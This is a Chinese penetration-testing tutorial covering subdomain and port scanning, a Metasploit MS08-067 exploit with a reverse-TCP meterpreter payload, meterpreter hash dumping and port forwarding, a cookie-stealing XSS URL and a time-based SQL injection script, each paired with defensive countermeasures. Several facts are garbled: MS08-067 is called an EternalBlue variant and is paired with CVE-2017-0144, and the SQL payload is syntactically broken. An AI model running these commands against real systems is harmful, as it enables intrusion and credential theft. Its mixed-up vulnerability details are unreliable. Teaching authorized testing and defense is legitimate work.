一、渗透测试核心流程与工具链
渗透测试通常分为信息收集、漏洞探测、攻击利用、权限维持、横向移动、数据窃取/破坏、痕迹清理等阶段。以下结合实战案例与防御技术进行解析:
1. 攻击代码开发实战
示例:子域名枚举与端口扫描(Python实现)
python
子域名枚举(结合CRT证书查询与字典爆破)
class SubdomainEnumerator:
def crtsh_search(self): 从SSL证书中提取子域名
..
def brute_force(self): 基于字典的暴力破解
..
多线程端口扫描(Python原生socket实现)
class AdvancedPortScanner:
def scan_port(self, port): TCP全连接探测
..
防御对策:限制证书透明度日志公开范围,配置防火墙规则屏蔽非业务端口扫描行为。
示例:利用Metasploit框架编写漏洞利用模块
ruby
MS08-067漏洞利用模块(永恒之蓝变种)
exploit/windows/smb/ms08_067_netapi:
set RHOST 192.168.1.100
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
防御对策:及时修补系统补丁(如微软MS08-067补丁),禁用SMBv1协议,启用主机入侵检测系统(HIDS)。
通过Meterpreter实现权限维持与横向移动:
bash
meterpreter > migrate 1256 迁移进程至系统服务
meterpreter > hashdump 提取密码哈希
meterpreter > portfwd add -l 3389 -p 3389 -r 10.0.0.5 内网端口转发
防御对策:启用Credential Guard保护凭据,限制用户权限(最小特权原则),部署网络微分段技术。
二、典型漏洞攻击与防御技术
1. XSS跨站脚本攻击(以存储型为例)
javascript
// 构造恶意URL绕过过滤(三重URL编码)
http://localhost/74cms">...javascript:alert(document.cookie)
通过论坛发帖嵌入恶意脚本,当管理员查看时触发Cookie窃取。
2. SQL注入攻击
python
基于时间盲注的探测脚本
payload = "admin' AND (SELECT FROM (SELECT(SLEEP(5)))a)--
response = requests.post(url, data={"username": payload})
if response.elapsed.total_seconds >4:
print("存在SQL注入漏洞")
三、渗透测试框架深度解析
Metasploit模块化架构
| 模块类型 | 功能说明 | 典型工具 |
|-||-|
| Exploits | 漏洞利用(如CVE-2017-0144) | ms08_067_netapi |
| Payloads | 攻击载荷(如Meterpreter) | reverse_tcp |
| Auxiliary | 辅助扫描(端口/服务识别) | nmap |
| Post | 后渗透模块(日志清除) | multi_meterpreter |
四、防御体系构建建议
1. 纵深防御架构
2. 安全开发实践
3. 监控与响应
五、法律与边界
渗透测试需严格遵守《网络安全法》及《渗透测试授权协议》,禁止未授权测试。建议采用白盒测试模式(提供系统架构图),测试完成后立即清除测试数据,报告需包含漏洞风险等级(CVSS评分)与修复方案。
扩展学习资源:
OWASP Top 10 2024版(最新漏洞趋势)